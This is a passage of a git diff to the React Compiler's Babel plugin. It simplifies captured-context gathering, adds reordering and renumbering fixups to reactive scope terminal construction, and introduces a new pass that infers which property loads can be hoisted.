   }
 }
 
-function isValidDependency(path: NodePath<t.MemberExpression>): boolean {
-  const parent: NodePath<t.Node> = path.parentPath;
-  return (
-    !path.node.computed &&
-    !(parent.isCallExpression() && parent.get("callee") === path)
-  );
-}
-
-function captureScopes({ from, to }: { from: Scope; to: Scope }): Set<Scope> {
+function captureScopes({from, to}: {from: Scope; to: Scope}): Set<Scope> {
   let scopes: Set<Scope> = new Set();
   while (from) {
     scopes.add(from);
@@ -3984,19 +4417,21 @@ function captureScopes({ from, to }: { from: Scope; to: Scope }): Set<Scope> {
   return scopes;
 }
 
-function gatherCapturedDeps(
-  builder: HIRBuilder,
+/**
+ * Returns a mapping of "context" identifiers — references to free variables that
+ * will become part of the function expression's `context` array — along with the
+ * source location of their first reference within the function.
+ */
+function gatherCapturedContext(
   fn: NodePath<
     | t.FunctionExpression
     | t.ArrowFunctionExpression
     | t.FunctionDeclaration
     | t.ObjectMethod
   >,
-  componentScope: Scope
-): { identifiers: Array<t.Identifier>; refs: Array<Place> } {
-  const capturedIds: Map<t.Identifier, number> = new Map();
-  const capturedRefs: Set<Place> = new Set();
-  const seenPaths: Set<string> = new Set();
+  componentScope: Scope,
+): Map<t.Identifier, SourceLocation> {
+  const capturedIds = new Map<t.Identifier, SourceLocation>();
 
   /*
    * Capture all the scopes from the parent of this function up to and including
@@ -4007,157 +4442,47 @@ function gatherCapturedDeps(
     to: componentScope,
   });
 
-  function addCapturedId(bindingIdentifier: t.Identifier): number {
-    if (!capturedIds.has(bindingIdentifier)) {
-      const index = capturedIds.size;
-      capturedIds.set(bindingIdentifier, index);
-      return index;
-    } else {
-      return capturedIds.get(bindingIdentifier)!;
-    }
-  }
-
   function handleMaybeDependency(
-    path:
-      | NodePath<t.MemberExpression>
-      | NodePath<t.Identifier>
-      | NodePath<t.JSXOpeningElement>
+    path: NodePath<t.Identifier> | NodePath<t.JSXOpeningElement>,
   ): void {
     // Base context variable to depend on
     let baseIdentifier: NodePath<t.Identifier> | NodePath<t.JSXIdentifier>;
-    /*
-     * Base expression to depend on, which (for now) may contain non side-effectful
-     * member expressions
-     */
-    let dependency:
-      | NodePath<t.MemberExpression>
-      | NodePath<t.JSXMemberExpression>
-      | NodePath<t.Identifier>
-      | NodePath<t.JSXIdentifier>;
     if (path.isJSXOpeningElement()) {
-      const name = path.get("name");
+      const name = path.get('name');
       if (!(name.isJSXMemberExpression() || name.isJSXIdentifier())) {
         // TODO: should JSX namespaced names be handled here as well?
         return;
       }
       let current: NodePath<t.JSXMemberExpression | t.JSXIdentifier> = name;
       while (current.isJSXMemberExpression()) {
-        current = current.get("object");
+        current = current.get('object');
       }
       invariant(
         current.isJSXIdentifier(),
-        "Invalid logic in gatherCapturedDeps"
+        'Invalid logic in gatherCapturedDeps',
       );
       baseIdentifier = current;
-
-      /*
-       * Get the expression to depend on, which may involve PropertyLoads
-       * for member expressions
-       */
-      let currentDep:
-        | NodePath<t.JSXMemberExpression>
-        | NodePath<t.Identifier>
-        | NodePath<t.JSXIdentifier> = baseIdentifier;
-
-      while (true) {
-        const nextDep: null | NodePath<t.Node> = currentDep.parentPath;
-        if (nextDep && nextDep.isJSXMemberExpression()) {
-          currentDep = nextDep;
-        } else {
-          break;
-        }
-      }
-      dependency = currentDep;
-    } else if (path.isMemberExpression()) {
-      // Calculate baseIdentifier
-      let currentId: NodePath<Expression> = path;
-      while (currentId.isMemberExpression()) {
-        currentId = currentId.get("object");
-      }
-      if (!currentId.isIdentifier()) {
-        return;
-      }
-      baseIdentifier = currentId;
-
-      /*
-       * Get the expression to depend on, which may involve PropertyLoads
-       * for member expressions
-       */
-      let currentDep:
-        | NodePath<t.MemberExpression>
-        | NodePath<t.Identifier>
-        | NodePath<t.JSXIdentifier> = baseIdentifier;
-
-      while (true) {
-        const nextDep: null | NodePath<t.Node> = currentDep.parentPath;
-        if (
-          nextDep &&
-          nextDep.isMemberExpression() &&
-          isValidDependency(nextDep)
-        ) {
-          currentDep = nextDep;
-        } else {
-          break;
-        }
-      }
-
-      dependency = currentDep;
     } else {
       baseIdentifier = path;
-      dependency = path;
     }
 
     /*
      * Skip dependency path, as we already tried to recursively add it (+ all subexpressions)
      * as a dependency.
      */
-    dependency.skip();
+    path.skip();
 
     // Add the base identifier binding as a dependency.
     const binding = baseIdentifier.scope.getBinding(baseIdentifier.node.name);
-    if (binding === undefined || !pureScopes.has(binding.scope)) {
-      return;
-    }
-    const idKey = String(addCapturedId(binding.identifier));
-
-    // Add the expression (potentially a memberexpr path) as a dependency.
-    let exprKey = idKey;
-    if (dependency.isMemberExpression()) {
-      let pathTokens = [];
-      let current: NodePath<Expression> = dependency;
-      while (current.isMemberExpression()) {
-        const property = current.get("property") as NodePath<t.Identifier>;
-        pathTokens.push(property.node.name);
-        current = current.get("object");
-      }
-
-      exprKey += "." + pathTokens.reverse().join(".");
-    } else if (dependency.isJSXMemberExpression()) {
-      let pathTokens = [];
-      let current: NodePath<t.JSXMemberExpression | t.JSXIdentifier> =
-        dependency;
-      while (current.isJSXMemberExpression()) {
-        const property = current.get("property");
-        pathTokens.push(property.node.name);
-        current = current.get("object");
-      }
-    }
-
-    if (!seenPaths.has(exprKey)) {
-      let loweredDep: Place;
-      if (dependency.isJSXIdentifier()) {
-        loweredDep = lowerValueToTemporary(builder, {
-          kind: "LoadLocal",
-          place: lowerIdentifier(builder, dependency),
-          loc: path.node.loc ?? GeneratedSource,
-        });
-      } else if (dependency.isJSXMemberExpression()) {
-        loweredDep = lowerJsxMemberExpression(builder, dependency);
-      } else {
-        loweredDep = lowerExpressionToTemporary(builder, dependency);
-      }
-      capturedRefs.add(loweredDep);
-      seenPaths.add(exprKey);
+    if (
+      binding !== undefined &&
+      pureScopes.has(binding.scope) &&
+      !capturedIds.has(binding.identifier)
+    ) {
+      capturedIds.set(
+        binding.identifier,
+        path.node.loc ?? binding.identifier.loc ?? GeneratedSource,
+      );
     }
   }
 
@@ -4181,20 +4506,20 @@ function gatherCapturedDeps(
          * AssignmentExpression if it's an Identifier. Work around it by explicitly
          * visiting it.
          */
-        const left = path.get("left");
+        const left = path.get('left');
         if (left.isIdentifier()) {
           handleMaybeDependency(left);
         }
         return;
       } else if (path.isJSXElement()) {
-        handleMaybeDependency(path.get("openingElement"));
-      } else if (path.isMemberExpression() || path.isIdentifier()) {
+        handleMaybeDependency(path.get('openingElement'));
+      } else if (path.isIdentifier()) {
         handleMaybeDependency(path);
       }
     },
   });
 
-  return { identifiers: [...capturedIds.keys()], refs: [...capturedRefs] };
+  return capturedIds;
 }
 
 function notNull<T>(value: T | null): value is T {
@@ -4203,40 +4528,40 @@ function notNull<T>(value: T | null): value is T {
 
 export function lowerType(node: t.FlowType | t.TSType): Type {
   switch (node.type) {
-    case "GenericTypeAnnotation": {
+    case 'GenericTypeAnnotation': {
       const id = node.id;
-      if (id.type === "Identifier" && id.name === "Array") {
-        return { kind: "Object", shapeId: BuiltInArrayId };
+      if (id.type === 'Identifier' && id.name === 'Array') {
+        return {kind: 'Object', shapeId: BuiltInArrayId};
       }
       return makeType();
     }
-    case "TSTypeReference": {
+    case 'TSTypeReference': {
       const typeName = node.typeName;
-      if (typeName.type === "Identifier" && typeName.name === "Array") {
-        return { kind: "Object", shapeId: BuiltInArrayId };
+      if (typeName.type === 'Identifier' && typeName.name === 'Array') {
+        return {kind: 'Object', shapeId: BuiltInArrayId};
       }
       return makeType();
     }
-    case "ArrayTypeAnnotation":
-    case "TSArrayType": {
-      return { kind: "Object", shapeId: BuiltInArrayId };
+    case 'ArrayTypeAnnotation':
+    case 'TSArrayType': {
+      return {kind: 'Object', shapeId: BuiltInArrayId};
     }
-    case "BooleanLiteralTypeAnnotation":
-    case "BooleanTypeAnnotation":
-    case "NullLiteralTypeAnnotation":
-    case "NumberLiteralTypeAnnotation":
-    case "NumberTypeAnnotation":
-    case "StringLiteralTypeAnnotation":
-    case "StringTypeAnnotation":
-    case "TSBooleanKeyword":
-    case "TSNullKeyword":
-    case "TSNumberKeyword":
-    case "TSStringKeyword":
-    case "TSSymbolKeyword":
-    case "TSUndefinedKeyword":
-    case "TSVoidKeyword":
-    case "VoidTypeAnnotation": {
-      return { kind: "Primitive" };
+    case 'BooleanLiteralTypeAnnotation':
+    case 'BooleanTypeAnnotation':
+    case 'NullLiteralTypeAnnotation':
+    case 'NumberLiteralTypeAnnotation':
+    case 'NumberTypeAnnotation':
+    case 'StringLiteralTypeAnnotation':
+    case 'StringTypeAnnotation':
+    case 'TSBooleanKeyword':
+    case 'TSNullKeyword':
+    case 'TSNumberKeyword':
+    case 'TSStringKeyword':
+    case 'TSSymbolKeyword':
+    case 'TSUndefinedKeyword':
+    case 'TSVoidKeyword':
+    case 'VoidTypeAnnotation': {
+      return {kind: 'Primitive'};
     }
     default: {
       return makeType();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildReactiveScopeTerminalsHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildReactiveScopeTerminalsHIR.ts
index f12e78eb744b..6f69af4b4f2c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildReactiveScopeTerminalsHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildReactiveScopeTerminalsHIR.ts
@@ -1,6 +1,13 @@
-import { CompilerError } from "../CompilerError";
-import { getScopes, recursivelyTraverseItems } from "./AssertValidBlockNesting";
-import { Environment } from "./Environment";
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '../CompilerError';
+import {getScopes, recursivelyTraverseItems} from './AssertValidBlockNesting';
+import {Environment} from './Environment';
 import {
   BasicBlock,
   BlockId,
@@ -12,7 +19,13 @@ import {
   ReactiveScope,
   ReactiveScopeTerminal,
   ScopeId,
-} from "./HIR";
+} from './HIR';
+import {
+  fixScopeAndIdentifierRanges,
+  markInstructionIds,
+  markPredecessors,
+  reversePostorderBlocks,
+} from './HIRBuilder';
 
 /**
  * This pass assumes that all program blocks are properly nested with respect to fallthroughs
@@ -72,14 +85,14 @@ export function buildReactiveScopeTerminalsHIR(fn: HIRFunction): void {
   const queuedRewrites: Array<TerminalRewriteInfo> = [];
   recursivelyTraverseItems(
     [...getScopes(fn)],
-    (scope) => scope.range,
+    scope => scope.range,
     {
       fallthroughs: new Map(),
       rewrites: queuedRewrites,
       env: fn.env,
     },
     pushStartScopeTerminal,
-    pushEndScopeTerminal
+    pushEndScopeTerminal,
   );
 
   /**
@@ -142,16 +155,9 @@ export function buildReactiveScopeTerminalsHIR(fn: HIRFunction): void {
 
   /**
    * Step 3:
-   * Repoint preds and phis when they refer to a rewritten block.
+   * Repoint phis when they refer to a rewritten block.
    */
   for (const [, block] of originalBlocks) {
-    for (const pred of block.preds) {
-      const newId = rewrittenFinalBlocks.get(pred);
-      if (newId != null) {
-        block.preds.delete(pred);
-        block.preds.add(newId);
-      }
-    }
     for (const phi of block.phis) {
       for (const [originalId, value] of phi.operands) {
         const newId = rewrittenFinalBlocks.get(originalId);
@@ -162,18 +168,35 @@ export function buildReactiveScopeTerminalsHIR(fn: HIRFunction): void {
       }
     }
   }
+
+  /**
+   * Step 4:
+   * Fixup the HIR to restore RPO, ensure correct predecessors, and
+   * renumber instructions. Note that the renumbering instructions
+   * invalidates scope and identifier ranges, so we fix them in the
+   * next step.
+   */
+  reversePostorderBlocks(fn.body);
+  markPredecessors(fn.body);
+  markInstructionIds(fn.body);
+
+  /**
+   * Step 5:
+   * Fix scope and identifier ranges to account for renumbered instructions
+   */
+  fixScopeAndIdentifierRanges(fn.body);
 }
 
 type TerminalRewriteInfo =
   | {
-      kind: "StartScope";
+      kind: 'StartScope';
       blockId: BlockId;
       fallthroughId: BlockId;
       instrId: InstructionId;
       scope: ReactiveScope;
     }
   | {
-      kind: "EndScope";
+      kind: 'EndScope';
       instrId: InstructionId;
       fallthroughId: BlockId;
     };
@@ -190,12 +213,12 @@ type ScopeTraversalContext = {
 
 function pushStartScopeTerminal(
   scope: ReactiveScope,
-  context: ScopeTraversalContext
+  context: ScopeTraversalContext,
 ): void {
   const blockId = context.env.nextBlockId;
   const fallthroughId = context.env.nextBlockId;
   context.rewrites.push({
-    kind: "StartScope",
+    kind: 'StartScope',
     blockId,
     fallthroughId,
     instrId: scope.range.start,
@@ -206,15 +229,15 @@ function pushStartScopeTerminal(
 
 function pushEndScopeTerminal(
   scope: ReactiveScope,
-  context: ScopeTraversalContext
+  context: ScopeTraversalContext,
 ): void {
   const fallthroughId = context.fallthroughs.get(scope.id);
   CompilerError.invariant(fallthroughId != null, {
-    reason: "Expected scope to exist",
+    reason: 'Expected scope to exist',
     loc: GeneratedSource,
   });
   context.rewrites.push({
-    kind: "EndScope",
+    kind: 'EndScope',
     fallthroughId,
     instrId: scope.range.end,
   });
@@ -248,13 +271,13 @@ type RewriteContext = {
 function handleRewrite(
   terminalInfo: TerminalRewriteInfo,
   idx: number,
-  context: RewriteContext
+  context: RewriteContext,
 ): void {
   // TODO make consistent instruction IDs instead of reusing
   const terminal: ReactiveScopeTerminal | GotoTerminal =
-    terminalInfo.kind === "StartScope"
+    terminalInfo.kind === 'StartScope'
       ? {
-          kind: "scope",
+          kind: 'scope',
           fallthrough: terminalInfo.fallthroughId,
           block: terminalInfo.blockId,
           scope: terminalInfo.scope,
@@ -262,7 +285,7 @@ function handleRewrite(
           loc: GeneratedSource,
         }
       : {
-          kind: "goto",
+          kind: 'goto',
           variant: GotoVariant.Break,
           block: terminalInfo.fallthroughId,
           id: terminalInfo.instrId,
@@ -281,7 +304,7 @@ function handleRewrite(
   });
   context.nextPreds = new Set([currBlockId]);
   context.nextBlockId =
-    terminalInfo.kind === "StartScope"
+    terminalInfo.kind === 'StartScope'
       ? terminalInfo.blockId
       : terminalInfo.fallthroughId;
   context.instrSliceIdx = idx;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectHoistablePropertyLoads.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectHoistablePropertyLoads.ts
new file mode 100644
index 000000000000..c47a41145157
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/CollectHoistablePropertyLoads.ts
@@ -0,0 +1,822 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '../CompilerError';
+import {inRange} from '../ReactiveScopes/InferReactiveScopeVariables';
+import {printDependency} from '../ReactiveScopes/PrintReactiveFunction';
+import {
+  Set_equal,
+  Set_filter,
+  Set_intersect,
+  Set_union,
+  getOrInsertDefault,
+} from '../Utils/utils';
+import {
+  BasicBlock,
+  BlockId,
+  DependencyPathEntry,
+  FunctionExpression,
+  GeneratedSource,
+  getHookKind,
+  HIRFunction,
+  Identifier,
+  IdentifierId,
+  InstructionId,
+  InstructionValue,
+  LoweredFunction,
+  PropertyLiteral,
+  ReactiveScopeDependency,
+  ScopeId,
+  SourceLocation,
+  TInstruction,
+} from './HIR';
+
+const DEBUG_PRINT = false;
+
+/**
+ * Helper function for `PropagateScopeDependencies`. Uses control flow graph
+ * analysis to determine which `Identifier`s can be assumed to be non-null
+ * objects, on a per-block basis.
+ *
+ * Here is an example:
+ * ```js
+ * function useFoo(x, y, z) {
+ *   // NOT safe to hoist PropertyLoads here
+ *   if (...) {
+ *     // safe to hoist loads from x
+ *     read(x.a);
+ *     return;
+ *   }
+ *   // safe to hoist loads from y, z
+ *   read(y.b);
+ *   if (...) {
+ *     // safe to hoist loads from y, z
+ *     read(z.a);
+ *   } else {
+ *     // safe to hoist loads from y, z
+ *     read(z.b);
+ *   }
+ *   // safe to hoist loads from y, z
+ *   return;
+ * }
+ * ```
+ *
+ * Note that we currently do NOT account for mutable / declaration range when
+ * doing the CFG-based traversal, producing results that are technically
+ * incorrect but filtered by PropagateScopeDeps (which only takes dependencies
+ * on constructed value -- i.e. a scope's dependencies must have mutable ranges
+ * ending earlier than the scope start).
+ *
+ * Take this example, this function will infer x.foo.bar as non-nullable for
+ * bb0, via the intersection of bb1 & bb2 which in turn comes from bb3. This is
+ * technically incorrect bb0 is before / during x's mutable range.
+ * ```
+ *  bb0:
+ *    const x = ...;
+ *    if cond then bb1 else bb2
+ *  bb1:
+ *    ...
+ *    goto bb3
+ *  bb2:
+ *    ...
+ *    goto bb3:
+ *  bb3:
+ *    x.foo.bar
+ * ```
+ *
+ * @param fn
+ * @param temporaries sidemap of identifier -> baseObject.a.b paths. Does not
+ * contain optional chains.
+ * @param hoistableFromOptionals sidemap of optionalBlock -> baseObject?.a
+ * optional paths for which it's safe to evaluate non-optional loads (see
+ * CollectOptionalChainDependencies).
+ * @returns
+ */
+export function collectHoistablePropertyLoads(
+  fn: HIRFunction,
+  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
+  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>,
+): ReadonlyMap<BlockId, BlockInfo> {
+  const registry = new PropertyPathRegistry();
+  /**
+   * Due to current limitations of mutable range inference, there are edge cases in
+   * which we infer known-immutable values (e.g. props or hook params) to have a
+   * mutable range and scope.
+   * (see `destructure-array-declaration-to-context-var` fixture)
+   * We track known immutable identifiers to reduce regressions (as PropagateScopeDeps
+   * is being rewritten to HIR).
+   */
+  const knownImmutableIdentifiers = new Set<IdentifierId>();
+  if (fn.fnType === 'Component' || fn.fnType === 'Hook') {
+    for (const p of fn.params) {
+      if (p.kind === 'Identifier') {
+        knownImmutableIdentifiers.add(p.identifier.id);
+      }
+    }
+  }
+  return collectHoistablePropertyLoadsImpl(fn, {
+    temporaries,
+    knownImmutableIdentifiers,
+    hoistableFromOptionals,
+    registry,
+    nestedFnImmutableContext: null,
+    assumedInvokedFns: getAssumedInvokedFunctions(fn),
+  });
+}
+
+export function collectHoistablePropertyLoadsInInnerFn(
+  fnInstr: TInstruction<FunctionExpression>,
+  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
+  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>,
+): ReadonlyMap<BlockId, BlockInfo> {
+  const fn = fnInstr.value.loweredFunc.func;
+  const initialContext: CollectHoistablePropertyLoadsContext = {
+    temporaries,
+    knownImmutableIdentifiers: new Set(),
+    hoistableFromOptionals,
+    registry: new PropertyPathRegistry(),
+    nestedFnImmutableContext: null,
+    assumedInvokedFns: getAssumedInvokedFunctions(fn),
+  };
+  const nestedFnImmutableContext = new Set(
+    fn.context
+      .filter(place =>
+        isImmutableAtInstr(place.identifier, fnInstr.id, initialContext),
+      )
+      .map(place => place.identifier.id),
+  );
+  initialContext.nestedFnImmutableContext = nestedFnImmutableContext;
+  return collectHoistablePropertyLoadsImpl(fn, initialContext);
+}
+
+type CollectHoistablePropertyLoadsContext = {
+  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;
+  knownImmutableIdentifiers: ReadonlySet<IdentifierId>;
+  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>;
+  registry: PropertyPathRegistry;
+  /**
+   * (For nested / inner function declarations)
+   * Context variables (i.e. captured from an outer scope) that are immutable.
+   * Note that this technically could be merged into `knownImmutableIdentifiers`,
+   * but are currently kept separate for readability.
+   */
+  nestedFnImmutableContext: ReadonlySet<IdentifierId> | null;
+  /**
+   * Functions which are assumed to be eventually called (as opposed to ones which might
+   * not be called, e.g. the 0th argument of Array.map)
+   */
+  assumedInvokedFns: ReadonlySet<LoweredFunction>;
+};
+function collectHoistablePropertyLoadsImpl(
+  fn: HIRFunction,
+  context: CollectHoistablePropertyLoadsContext,
+): ReadonlyMap<BlockId, BlockInfo> {
+  const nodes = collectNonNullsInBlocks(fn, context);
+  propagateNonNull(fn, nodes, context.registry);
+
+  if (DEBUG_PRINT) {
+    console.log('(printing hoistable nodes in blocks)');
+    for (const [blockId, node] of nodes) {
+      console.log(
+        `bb${blockId}: ${[...node.assumedNonNullObjects].map(n => printDependency(n.fullPath)).join(' ')}`,
+      );
+    }
+  }
+
+  return nodes;
+}
+
+export function keyByScopeId<T>(
+  fn: HIRFunction,
+  source: ReadonlyMap<BlockId, T>,
+): ReadonlyMap<ScopeId, T> {
+  const keyedByScopeId = new Map<ScopeId, T>();
+  for (const [_, block] of fn.body.blocks) {
+    if (block.terminal.kind === 'scope') {
+      keyedByScopeId.set(
+        block.terminal.scope.id,
+        source.get(block.terminal.block)!,
+      );
+    }
+  }
+  return keyedByScopeId;
+}
+
+export type BlockInfo = {
+  block: BasicBlock;
+  assumedNonNullObjects: ReadonlySet<PropertyPathNode>;
+};
+
+/**
+ * PropertyLoadRegistry data structure to dedupe property loads (e.g. a.b.c)
+ * and make computing sets intersections simpler.
+ */
+type RootNode = {
+  properties: Map<PropertyLiteral, PropertyPathNode>;
+  optionalProperties: Map<PropertyLiteral, PropertyPathNode>;
+  parent: null;
+  // Recorded to make later computations simpler
+  fullPath: ReactiveScopeDependency;
+  hasOptional: boolean;
+  root: IdentifierId;
+};
+
+type PropertyPathNode =
+  | {
+      properties: Map<PropertyLiteral, PropertyPathNode>;
+      optionalProperties: Map<PropertyLiteral, PropertyPathNode>;
+      parent: PropertyPathNode;
+      fullPath: ReactiveScopeDependency;
+      hasOptional: boolean;
+    }
+  | RootNode;
+
+class PropertyPathRegistry {
+  roots: Map<IdentifierId, RootNode> = new Map();
+
+  getOrCreateIdentifier(
+    identifier: Identifier,
+    reactive: boolean,
+    loc: SourceLocation,
+  ): PropertyPathNode {
+    /**
+     * Reads from a statically scoped variable are always safe in JS,
+     * with the exception of TDZ (not addressed by this pass).
+     */
+    let rootNode = this.roots.get(identifier.id);
+
+    if (rootNode === undefined) {
+      rootNode = {
+        root: identifier.id,
+        properties: new Map(),
+        optionalProperties: new Map(),
+        fullPath: {
+          identifier,
+          reactive,
+          path: [],
+          loc,
+        },
+        hasOptional: false,
+        parent: null,
+      };
+      this.roots.set(identifier.id, rootNode);
+    } else {
+      CompilerError.invariant(reactive === rootNode.fullPath.reactive, {
+        reason:
+          '[HoistablePropertyLoads] Found inconsistencies in `reactive` flag when deduping identifier reads within the same scope',
+        loc: identifier.loc,
+      });
+    }
+    return rootNode;
+  }
+
+  static getOrCreatePropertyEntry(
+    parent: PropertyPathNode,
+    entry: DependencyPathEntry,
+  ): PropertyPathNode {
+    const map = entry.optional ? parent.optionalProperties : parent.properties;
+    let child = map.get(entry.property);
+    if (child == null) {
+      child = {
+        properties: new Map(),
+        optionalProperties: new Map(),
+        parent: parent,
+        fullPath: {
+          identifier: parent.fullPath.identifier,
+          reactive: parent.fullPath.reactive,
+          path: parent.fullPath.path.concat(entry),
+          loc: entry.loc,
+        },
+        hasOptional: parent.hasOptional || entry.optional,
+      };
+      map.set(entry.property, child);
+    }
+    return child;
+  }
+
+  getOrCreateProperty(n: ReactiveScopeDependency): PropertyPathNode {
+    /**
+     * We add ReactiveScopeDependencies according to instruction ordering,
+     * so all subpaths of a PropertyLoad should already exist
+     * (e.g. a.b is added before a.b.c),
+     */
+    let currNode = this.getOrCreateIdentifier(n.identifier, n.reactive, n.loc);
+    if (n.path.length === 0) {
+      return currNode;
+    }
+    for (let i = 0; i < n.path.length - 1; i++) {
+      currNode = PropertyPathRegistry.getOrCreatePropertyEntry(
+        currNode,
+        n.path[i],
+      );
+    }
+
+    return PropertyPathRegistry.getOrCreatePropertyEntry(
+      currNode,
+      n.path.at(-1)!,
+    );
+  }
+}
+
+function getMaybeNonNullInInstruction(
+  value: InstructionValue,
+  context: CollectHoistablePropertyLoadsContext,
+): PropertyPathNode | null {
+  let path: ReactiveScopeDependency | null = null;
+  if (value.kind === 'PropertyLoad') {
+    path = context.temporaries.get(value.object.identifier.id) ?? {
+      identifier: value.object.identifier,
+      reactive: value.object.reactive,
+      path: [],
+      loc: value.loc,
+    };
+  } else if (value.kind === 'Destructure') {
+    path = context.temporaries.get(value.value.identifier.id) ?? null;
+  } else if (value.kind === 'ComputedLoad') {
+    path = context.temporaries.get(value.object.identifier.id) ?? null;
+  }
+  return path != null ? context.registry.getOrCreateProperty(path) : null;
+}
+
+function isImmutableAtInstr(
+  identifier: Identifier,
+  instr: InstructionId,
+  context: CollectHoistablePropertyLoadsContext,
+): boolean {
+  if (context.nestedFnImmutableContext != null) {
+    /**
+     * Comparing instructions ids across inner-outer function bodies is not valid, as they are numbered
+     */
+    return context.nestedFnImmutableContext.has(identifier.id);
+  } else {
+    /**
+     * Since this runs *after* buildReactiveScopeTerminals, identifier mutable ranges
+     * are not valid with respect to current instruction id numbering.
+     * We use attached reactive scope ranges as a proxy for mutable range, but this
+     * is an overestimate as (1) scope ranges merge and align to form valid program
+     * blocks and (2) passes like MemoizeFbtAndMacroOperands may assign scopes to
+     * non-mutable identifiers.
+     *
+     * See comment in exported function for why we track known immutable identifiers.
+     */
+    const mutableAtInstr =
+      identifier.mutableRange.end > identifier.mutableRange.start + 1 &&
+      identifier.scope != null &&
+      inRange(
+        {
+          id: instr,
+        },
+        identifier.scope.range,
+      );
+    return (
+      !mutableAtInstr || context.knownImmutableIdentifiers.has(identifier.id)
+    );
+  }
+}
+
+function collectNonNullsInBlocks(
+  fn: HIRFunction,
+  context: CollectHoistablePropertyLoadsContext,
+): ReadonlyMap<BlockId, BlockInfo> {
+  /**
+   * Known non-null objects such as functional component props can be safely
+   * read from any block.
+   */
+  const knownNonNullIdentifiers = new Set<PropertyPathNode>();
+  if (
+    fn.fnType === 'Component' &&
+    fn.params.length > 0 &&
+    fn.params[0].kind === 'Identifier'
+  ) {
+    const identifier = fn.params[0].identifier;
+    knownNonNullIdentifiers.add(
+      context.registry.getOrCreateIdentifier(
+        identifier,
+        true,
+        fn.params[0].loc,
+      ),
+    );
+  }
+  const nodes = new Map<
+    BlockId,
+    {
+      block: BasicBlock;
+      assumedNonNullObjects: Set<PropertyPathNode>;
+    }
+  >();
+  for (const [_, block] of fn.body.blocks) {
+    const assumedNonNullObjects = new Set<PropertyPathNode>(
+      knownNonNullIdentifiers,
+    );
+
+    const maybeOptionalChain = context.hoistableFromOptionals.get(block.id);
+    if (maybeOptionalChain != null) {
+      assumedNonNullObjects.add(
+        context.registry.getOrCreateProperty(maybeOptionalChain),
+      );
+    }
+    for (const instr of block.instructions) {
+      const maybeNonNull = getMaybeNonNullInInstruction(instr.value, context);
+      if (
+        maybeNonNull != null &&
+        isImmutableAtInstr(maybeNonNull.fullPath.identifier, instr.id, context)
+      ) {
+        assumedNonNullObjects.add(maybeNonNull);
+      }
+      if (instr.value.kind === 'FunctionExpression') {
+        const innerFn = instr.value.loweredFunc;
+        if (context.assumedInvokedFns.has(innerFn)) {
+          const innerHoistableMap = collectHoistablePropertyLoadsImpl(
+            innerFn.func,
+            {
+              ...context,
+              nestedFnImmutableContext:
+                context.nestedFnImmutableContext ??
+                new Set(
+                  innerFn.func.context
+                    .filter(place =>
+                      isImmutableAtInstr(place.identifier, instr.id, context),
+                    )
+                    .map(place => place.identifier.id),
+                ),
+            },
+          );
+          const innerHoistables = assertNonNull(
+            innerHoistableMap.get(innerFn.func.body.entry),
+          );
+          for (const entry of innerHoistables.assumedNonNullObjects) {
+            assumedNonNullObjects.add(entry);
+          }
+        }
+      } else if (
+        fn.env.config.enablePreserveExistingMemoizationGuarantees &&
+        instr.value.kind === 'StartMemoize' &&
+        instr.value.deps != null
+      ) {
+        for (const dep of instr.value.deps) {
+          if (dep.root.kind === 'NamedLocal') {
+            if (
+              !isImmutableAtInstr(dep.root.value.identifier, instr.id, context)
+            ) {
+              continue;
+            }
+            for (let i = 0; i < dep.path.length; i++) {
+              const pathEntry = dep.path[i]!;
+              if (pathEntry.optional) {
+                break;
+              }
+              const depNode = context.registry.getOrCreateProperty({
+                identifier: dep.root.value.identifier,
+                path: dep.path.slice(0, i),
+                reactive: dep.root.value.reactive,
+                loc: dep.loc,
+              });
+              assumedNonNullObjects.add(depNode);
+            }
+          }
+        }
+      }
+    }
+
+    nodes.set(block.id, {
+      block,
+      assumedNonNullObjects,
+    });
+  }
+  return nodes;
+}
+
+function propagateNonNull(
+  fn: HIRFunction,
+  nodes: ReadonlyMap<BlockId, BlockInfo>,
+  registry: PropertyPathRegistry,
+): void {
+  const blockSuccessors = new Map<BlockId, Set<BlockId>>();
+  const terminalPreds = new Set<BlockId>();
+
+  for (const [blockId, block] of fn.body.blocks) {
+    for (const pred of block.preds) {
+      getOrInsertDefault(blockSuccessors, pred, new Set()).add(blockId);
+    }
+    if (block.terminal.kind === 'throw' || block.terminal.kind === 'return') {
+      terminalPreds.add(blockId);
+    }
+  }
+
+  /**
+   * In the context of a control flow graph, the identifiers that a block
+   * can assume are non-null can be calculated from the following:
+   * X = Union(Intersect(X_neighbors), X)
+   */
+  function recursivelyPropagateNonNull(
+    nodeId: BlockId,
+    direction: 'forward' | 'backward',
+    traversalState: Map<BlockId, 'active' | 'done'>,
+  ): boolean {
+    /**
+     * Avoid re-visiting computed or currently active nodes, which can
+     * occur when the control flow graph has backedges.
+     */
+    if (traversalState.has(nodeId)) {
+      return false;
+    }
+    traversalState.set(nodeId, 'active');
+
+    const node = nodes.get(nodeId);
+    if (node == null) {
+      CompilerError.invariant(false, {
+        reason: `Bad node ${nodeId}, kind: ${direction}`,
+        loc: GeneratedSource,
+      });
+    }
+    const neighbors = Array.from(
+      direction === 'backward'
+        ? (blockSuccessors.get(nodeId) ?? [])
+        : node.block.preds,
+    );
+
+    let changed = false;
+    for (const pred of neighbors) {
+      if (!traversalState.has(pred)) {
+        const neighborChanged = recursivelyPropagateNonNull(
+          pred,
+          direction,
+          traversalState,
+        );
